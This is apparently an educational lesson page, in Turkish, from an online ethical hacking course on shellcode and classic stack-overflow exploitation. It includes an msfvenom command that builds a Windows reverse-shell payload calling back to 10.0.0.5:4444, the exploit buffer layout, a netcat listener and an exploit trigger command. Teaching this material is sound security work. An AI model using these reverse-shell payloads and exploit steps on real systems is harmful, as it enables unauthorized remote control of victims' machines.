Kabuk Kodu ve İstismar
Bir kabuk elde edin
Kabuk Kodu ve İstismar, CoddyKit'te ücretsiz bir Ethical Hacking Academy dersidir. Bu, 4 dersinin 4. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, Ethical Hacking Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. Ethical Hacking Academy kursu toplamda 4 dersten oluşur.
Kabuk Kodu Nedir
Kabuk kodu, çalıştırıldığında bir eylem gerçekleştiren, klasik olarak bir kabuk başlatan küçük bir makine kodu parçasıdır. EIP'yi denetledikten sonra yürütmeyi yönlendirdiğiniz yük budur.
Doğrudan belleğe enjekte edilebilmesi için ham baytlar (işlem kodları) olarak yazılır.
Yük Türleri
Yaygın yük amaçları şunlardır:
- Bağlanan kabuk: kurban üzerinde dinleyen bir bağlantı noktası açar.
- Ters kabuk: saldırgana geri bağlanır (güvenlik duvarları/NAT üzerinden geçmek için daha uygundur).
- Komut çalıştırma: kullanıcı eklemek gibi tek bir komutu çalıştırır.
Gerçek operasyonlarda en yaygın olanlar ters kabuklardır.
msfvenom ile Oluşturma
msfvenom yükler oluşturur. Yük türünü, dinleyicinin adresini ve bağlantı noktasını, çıktı biçimini ve kaçınılacak hatalı karakterleri belirtirsiniz.
-b seçeneği hatalı karakterleri dışlar; -f çıktı biçimini ayarlar.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cKodlama Neden Gereklidir
Ham kabuk kodu çoğu zaman hatalı karakterler (null baytları gibi) içerir. Bir kodlayıcı, bu baytlardan kaçınmak için yükü dönüştürür ve ardından çalışma zamanında özgün kodu geri yükleyen bir kod çözücü gövdesi ekler.
Klasik kodlayıcı x86/shikata_ga_nai'dir.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Kod Çözücü ve Kendini Değiştirme
Kodlanmış kabuk kodu çalışmadan önce bellekte kendisini çözer. Bu kendini değiştirme işlemi yığında biraz ek alan gerektirir; NOP kızağının ve yeterli arabellek alanının yardımcı olmasının nedenlerinden biri budur.
Bazen kod çözücünün kendi kodunu bozmaması için önce ESP'yi ayarlamanız gerekir.
Son İstismarı Birleştirme
Eksiksiz istismar arabelleği şöyledir:
- Uzaklığa kadar dolgu.
- JMP ESP dönüş adresi.
- Bir NOP kızağı.
- Kodlanmış kabuk kodu.
Bunu güvenlik açığı bulunan girdiye gönderdiğinizde yürütme yükünüze yönelir.
buf = "A"*offset + ret + "\x90"*16 + shellcodeDinleyiciyi Kurma
Ters bir kabuk için istismarı tetiklemeden önce makinenizde dinleme yapmanız gerekir. Basit bir Netcat dinleyicisi gelen bağlantıyı yakalar.
Aşamalı yükler için bunun yerine Metasploit'in multi/handler bileşenini kullanın.
nc -lvnp 4444İstismarı Tetikleme
Dinleyici hazır olduğunda hazırlanmış arabelleği hedefe gönderin. Her şey doğru hizalanırsa kabuk kodu çalışır ve dinleyiciniz kurban makinede bir kabuk alır.
Artık savunmasız işlemin ayrıcalıklarıyla komut çalıştırabilirsiniz.
python exploit.py 10.0.0.20 9999Sorun Giderme
Çalışmazsa yaygın nedenleri kontrol edin:
- Kabuk koduna veya dönüş adresine bir hatalı karakter sızmış olabilir.
- NOP dizisi çok kısadır.
- Kod çözücü için yığında yeterli alan yoktur (ESP'yi ayarlayın).
- Yanlış kaydırma veya bayt sıralaması kullanılmıştır.
Hata ayıklayıcıda sistematik hata ayıklama yaparak sorunun kaynağını izole edebilirsiniz.
Klasik Taşmanın Ötesi
DEP ve ASLR etkin olduğunda, yığındaki düz kabuk kodu çalışmaz. Modern istismar teknikleri, mevcut kod parçalarını zincirlemek için Dönüş Odaklı Programlama (ROP) ve ASLR'yi etkisizleştirmek için bilgi sızıntılarını kullanır.
Bu kursta, bu ileri tekniklerin temelini oluşturan altyapıyı öğrendiniz.
Aşamalı ve Aşamasız
Yükler iki biçimde gelir. Aşamasız bir yük, kabuk kodunun tamamını tek bir veri bloğunda içerir. Aşamalı bir yük, geri kalan kısmı işleyicinizden indiren küçük bir başlangıç kodu gönderir.
Aşamalı yükler daha küçük arabellek sığar; ancak ikinci aşamayı göndermek için Metasploit'in multi/handler bileşeni gibi uyumlu bir işleyiciye ihtiyaç duyar.
Kısa Kontrol
Kabuk kodunun neden çoğu zaman kodlandığını hatırlayın.
Özet
İstismar zincirini tamamladınız:
- Kabuk kodu yüktür; ters kabuklar en kullanışlı seçenektir.
- Hatalı karakterlerden kaçınmak için msfvenom ile oluşturup kodlayın.
- Dolgu + JMP ESP + NOP dizisi + kabuk kodunu birleştirin, bir dinleyici başlatın ve istismarı tetikleyin.
- Modern hedefleri aşmak için ROP ve bilgi sızıntılarıyla DEP/ASLR'yi etkisizleştirmek gerekir.
Arabellek Taşması İstismarı kursunu tamamladınız.
Sıkça Sorulan Sorular
“Kabuk Kodu ve İstismar” dersi ücretsiz mi?
Evet — “Kabuk Kodu ve İstismar” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve Ethical Hacking Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. Ethical Hacking Academy kursu toplamda 4 dersten oluşur.
“Kabuk Kodu ve İstismar” dersinde ne öğreneceğim?
Bir kabuk elde edin Ethical Hacking Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
Ethical Hacking Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te Ethical Hacking Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 4. dersidir.
“Kabuk Kodu ve İstismar” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu Ethical Hacking Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her Ethical Hacking Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- Bellek ve Yığın
- Çökmeler için Bulanıklaştırma
- EIP'yi Denetleme
- Kabuk Kodu ve İstismar